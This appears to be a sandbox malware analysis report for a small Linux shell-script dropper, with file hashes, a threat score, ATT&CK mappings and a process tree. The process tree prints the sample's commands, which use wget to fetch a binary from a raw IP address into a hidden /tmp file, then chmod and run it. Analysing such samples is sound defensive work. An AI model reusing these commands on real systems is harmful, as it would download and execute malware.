0d7fd4d7f637e1f8c492fd41a675b03cce3fa1f7601bf4e9fc8703cce1da259f

Analysis

max time kernel
9s
max time network
10s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
26/07/2026, 12:35

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
0d7fd4d7f637e1f8c492fd41a675b03cce3fa1f7601bf4e9fc8703cce1da259f.sh
Size 573B
Sample260726-psrplsgm21
SHA256 0d7fd4d7f637e1f8c492fd41a675b03cce3fa1f7601bf4e9fc8703cce1da259f
MD5 7c2194e9b4b3f5b3ac96d19a484f0dd6
SHA1 7f92c229ef7e8bba3f75b54b8932085861d589f7
SHA512 09cf0794b8e3dd97b6f2aadd06a1aa01333598949460959565278a6587575901ecf66c872850653c014e1981a38d073d4458a7ef84fb6c0142d4a8b047b839ab
TLSH
T173F081C1E03408349A926131914275D8ADA558AB742091686CFF8970F57E5143AD7AE4
MD5 SHA1 SHA512 TLSH

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 1 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
745	chmod

Executes dropped EXE 1 IoCs

ioc	pid	Process
/tmp/.n	746	0d7fd4d7f637e1f8c492fd41a675b03cce3fa1f7601bf4e9fc8703cce1da259f.sh

System Network Configuration Discovery 1 TTPs 1 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
644	wget

Writes file to tmp directory 1 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/.n	wget

/tmp/0d7fd4d7f637e1f8c492fd41a675b03cce3fa1f7601bf4e9fc8703cce1da259f.sh
/tmp/0d7fd4d7f637e1f8c492fd41a675b03cce3fa1f7601bf4e9fc8703cce1da259f.sh
1⤵
- Executes dropped EXE
PID:642
- /usr/bin/wget
  wget -q -T 5 http://91.199.133.133:8080/real_mips -O /tmp/.n
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:644
- /bin/chmod
  chmod +x /tmp/.n
  2⤵
  - File and Directory Permissions Modification
  PID:745

/tmp/.n
/tmp/.n
1⤵
PID:746

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

Path /tmp/.n
Size 671KB
SHA256 00abf8dbd205556c7a3e66545230417b4d006b3ce9b0815be5e644428bb1930d
MD5 8b8378472bf8ef4011b289adfc560bfa
SHA1 f554053e9321df40c46f6450bb809291be15596a
SHA512 7fcfc4ec33fd7bdea81e3c97301930130067014e3eecfc33aa8bfcb8b6c8ae0d6c46724dc0d968f0be04bdcd556e2c1afc94686be58ca2bcf981f4e8f09a6f72
SSDEEP 12288:4D7XGDHHJrZzE4NzGsfDYKLgpjYR9o31O2KEGa:U7XGtO4NzGsfcK99X2KEx
TLSH
T1A5E46B623B21EF61D355D63008F3C7915AF521A20AE29096B27CC71C7A60A2D6D5FFF8
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download